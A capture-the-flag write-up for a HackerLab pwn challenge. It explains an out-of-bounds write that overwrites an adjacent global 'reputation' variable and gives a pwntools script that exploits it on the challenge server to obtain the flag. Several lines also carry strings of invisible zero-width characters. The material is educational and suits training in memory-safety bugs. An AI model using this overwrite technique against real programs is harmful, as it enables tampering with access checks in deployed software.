BOF: Привет, Сквидвард! (Hello, Squidward!)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Array index overflow exploitation, Global variable manipulation via memory layout, Out-of-bounds array write to overwrite adjacent global variable

Summary

Task: ELF 64-bit binary with interactive menu and reputation system. Solution: Out-of-bounds array write to overwrite adjacent global reputation variable, bypassing the score check to get the flag.

BOF: Привет, Сквидвард! (Hello, Squidward!) - HackerLab

Description

"Ого, да это же Сквидвард! Но это выглядит как-то странно... Но я всё равно уточню у него, знает ли он, где флаг."

Binary file with an interactive menu and reputation system.

Analysis

File Information

 bash read-only • copy allowed Copy
$ file squidward
squidward: ELF 64-bit LSB pie executable, x86-64, dynamically linked

Program Structure

The program implements an interactive menu:

1. Talk - submenu for interaction
2. Other options...

In the Talk submenu:

1. Option 1 - some action
2. Option 2 - some action
3. Write number - write a number to the array
4. Get flag - get the flag (requires high reputation)
5. Exit ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Global Variables

Binary analysis revealed the layout of global variables:

records @ 0x4040 (40 bytes = 10 int)
rep     @ 0x4068 (4 bytes)

The print_flag function is located at address 0x1376.

Vulnerability

Out-of-bounds write in the records array:

• The records array contains 10 int elements (40 bytes)
• The program allows writing numbers to the array
• No bounds checking on the index!
• After 10 writes, the 11th write goes beyond the array bounds

Memory Layout (BSS Segment)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Address     Variable
0x4040      records[0]
0x4044      records[1]
0x4048      records[2]
...
0x4064      records[9]
0x4068      rep          <- 11th write overwrites this!

Flag Access Condition

The "Get flag" function checks the value of the rep variable:

• If rep >= 10000 - the flag is displayed
• Otherwise - access denied

Solution

Exploitation Strategy

1. Enter the "Talk" menu (option 1)
2. Select "Write number" (option 3) 10 times with any numbers
3. On the 11th time, write the number 10000 - this will overwrite the rep variable
4. Select "Get flag" (option 4) - now reputation = 10000 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
Exploit for "BOF: Привет, Сквидвард!" (Hello, Squidward!)
HackerLab PWN Challenge

Vulnerability: Out-of-bounds write in records array overwrites rep variable
"""

from pwn import *

HOST = "62.173.140.174"
PORT = 17300

def solve():
    io = remote(HOST, PORT)
    
    # Enter main menu
    io.recvuntil(b"Enter your choice (1-4):")
    io.sendline(b"1")  # Talk
    io.recvuntil(b"Enter your choice (1-5):")
    
    # Write 10 numbers to fill records array (indices 0-9)
    for i in range(10):
        io.sendline(b"3")  # Write number option
        io.recvuntil(b"Enter a number to write:")
        io.sendline(str(i+1).encode())
        io.recvuntil(b"Enter your choice (1-5):")
    
    # 11th write overflows into rep variable
    io.sendline(b"3")
    io.recvuntil(b"Enter a number to write:")
    io.sendline(b"10000")  # This overwrites rep
    io.recvuntil(b"Enter your choice (1-5):")
    
    # Get flag
    io.sendline(b"4")
    
    # Receive and print response
    response = io.recvall(timeout=5).decode()
    print(response)
    
    # Extract flag
    if "CODEBY{" in response:
        start = response.find("CODEBY{")
        end = response.find("}", start) + 1
        flag = response[start:end]
        print(f"\n[+] FLAG: {flag}")
    
    io.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    solve()

Lessons

1. Array bounds checking: Lack of array bounds checking is a classic vulnerability that allows overwriting adjacent variables.

2. BSS layout: Global variables in the BSS segment are located sequentially in declaration order. An array before an important variable = potential vulnerability.

3. Counter-based overflow: If the program uses a counter for array indexing without checking the maximum, it's enough to simply call the write operation the required number of times. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Reputation/Score systems: Systems that check "do you have enough points" are often vulnerable to score variable manipulation through memory corruption. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍